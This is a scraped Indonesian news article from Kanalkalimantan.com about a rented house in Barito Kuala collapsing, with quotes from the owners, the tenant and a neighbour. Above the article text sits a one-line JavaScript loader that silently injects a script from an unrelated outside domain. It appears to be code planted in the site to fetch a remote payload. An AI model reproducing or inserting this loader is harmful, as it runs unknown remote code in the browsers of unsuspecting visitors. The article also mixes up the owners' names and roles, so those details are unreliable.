(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN — Sepasang suami istri, Indra (50) dan Ramlah (56) hanya bisa terpaku melihat rumahnya yang tiba-tiba hancur lebur rata dengan tanah, Sabtu (2/8/2025) siang.
Rumah pasangan suami istri yang berlokasi di Jalan Meranti VI Jalur 2, Komplek Griya Permata, Handil Bakti, Kabupaten Barito Kuala, itu disewakan mulai tahun 2020.
“Kami sempat 3 tahun menempati, terus disewakan mungkin sekitar 5 tahunan,” ujar Indra sambil melihat rumahnya yang roboh.
Baca juga: Lima Rumah di Pelambuan Habis Dilahap Api
Ia menambahkan, rumah yang dibeli secara kontan di tahun 2012 itu diduga ambruk karena pondasinya yang tidak kuat.
“Ini robohnya bagian depan, jadi pondasi bawahnya kemungkinan yang tidak kuat,” jelas Andri.
Sementara sang suami, Ramlah tampak tidak mempercayai rumahnya yang sudah rata dengan tanah sebab sebelumnya tidak ada tanda-tanda bangunan mau roboh.
“Gak ada tanda apa-apa, seperti misal kayak bangunan retak, benar-benar dalam keadaan utuh,” ungkap Ramlah.
Atas kejadian tersebut, mereka hanya bisa pasrah dan tidak bisa melakukan apa-apa.
Baca juga: Warga Keluhkan Dampak Proyek Jembatan Sei Ulin: Warung Tutup, Drainase Mampet!
Di sisi lain, penyewa rumah, Ritar (26) yang kala itu lagi sendirian di rumah mendadak dikejutkan dengan suara yang dicurigai berasal dari tembok bagian depan.
“Saya ada di kamar belakang sedang rebahan, terus ada suara retakan, runtuhnya itu awalnya dari depan,” kata Ritar.
Mengetahui hal tersebut, ia langsung bergegas keluar melalui jendela samping sebab tak memungkinkan lagi jika lewat depan.
Baca juga: Damri Buka Rute Bandara Syamsudin Noor – Tugu Km 0 Banjarmasin
Dirinya yang tinggal bersama ayahnya untuk sementara tak sempat menyelamatkan barang-barang berharga seperti surat-surat penting dan barang elektronik seperti kulkas dan TV.
Beruntungnya, Ritar maupun ayahnya selamat atas insiden ini dan tidak terluka sama sekali.
“Aman tidak ada luka, dan abah saya juga lagi kerja waktu kejadian,” pungkasnya.
Sementara itu, tetangga depan rumah, Rahim (25) mengaku terkejut saat mendengar suara berisik di luar yang ternyata rumah tetangganya sudah roboh.
Baca juga: Bandara Syamsudin Noor Hadirkan Kendaraan Listrik untuk Penumpang
“Saya lagi tidur, kemudian mendengar suara kencang di luar, kira apa, sekalinya rumah roboh. Ada ibu-ibu teriak juga di samping rumahnya,” ucap Rahim.
Rahim menyebutkan, selang ambruk pertama dilanjutkan roboh susulan sebanyak dua kali.
“Ada roboh dua kali lagi jadi dindingnya itu bergerak bunyinya druk-druk kaya gitu,” tandas Rahim. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.